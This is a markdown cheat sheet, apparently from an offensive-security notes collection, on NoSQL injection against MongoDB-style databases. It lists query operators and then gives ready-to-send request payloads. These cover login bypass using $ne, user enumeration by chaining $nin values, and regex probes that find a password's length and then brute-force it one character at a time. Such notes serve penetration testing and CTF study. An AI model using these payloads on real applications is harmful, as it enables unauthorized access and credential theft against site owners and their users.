killchain-compendium/Exploits/Databases/NoSQL Injection.md

107 lines
2.4 KiB
Markdown

# NoSQL Injections
* No tables, but files (collections)
* Examples are Elasticsearch, MongoDB, Redis, CouchDB.
Here we are using MongoDB as an example. It is a file database using the
following structure.
Key & value pairs are stored in a file, which are grouped
in a collections inside a database.
## Querying
* Filter instead of SQL queries
* [Redis docs](https://redis.io/documentation)
* [MongoDB operators](https://docs.mongodb.com/manual/reference/operator/query/)
* [Elasticsearch docs](https://www.elastic.co/guide/index.html)
## Operators
A precondition to the injection is to know the most common operators listed below.
```sql
$and
$or
$eq
$ne
$gt
$where
$exists
$regex
```
## Filters
Filter data via using key value pairs inside arrays in the following
syntactical style.
```sql
['user' => 'admin']
['age' => ['$gt' => '42']]
```
## Injection
The payload is delivered inside the parameters of the request. To deliver
malicious payload the operators can be negated. That means the for example all
users except the known one used in the request is included in the response from
the database server.
Pass HTTP parameter as an array instead of `user=` and `password=` visible in
the following example.
```sh
user[$operator]=foo&password[$operator]=bar
```
Another method, login and concat all the users you'll find afterwards until
every user has been listed in following way.
```sh
user[$nin][]=admin&password[$ne]=securepassword
user[$nin][]=admin&user[$nin][]=user2&password[$ne]=securepassword
user[$nin][]=admin&user[$nin][]=foouser&user[$nin][]=baruser&password[$ne]=securepassword
```
### Examples
For example the filter including the operator `$ne` is the following.
```sql
['user'=>['$ne'=>'foo'],'password'=>['$ne'=>'bar']]
```
The body of a POST request would look like this following example.
```sh
user[$ne]=foo&password[$ne]=bar
```
POST or GET parameters are both possible.
```sh
username=admin&password[$ne]=admin
```
JSON
```json
{"username":"user","password":{"$ne":""} }
```
Use regex to unravel the password. Check the length of the password
and hopefully get a boolean if the length is correct, `True` or `False`.
The return value may be an error a redirect or some other side channel to
measure the respone with.
```sh
user=admin&pass[$regex]=^.{6}$
```
When you've found the correct length try bruteforcing the password via regex
one char after another
```sh
user=admin&password[$regex]=^p.....$
```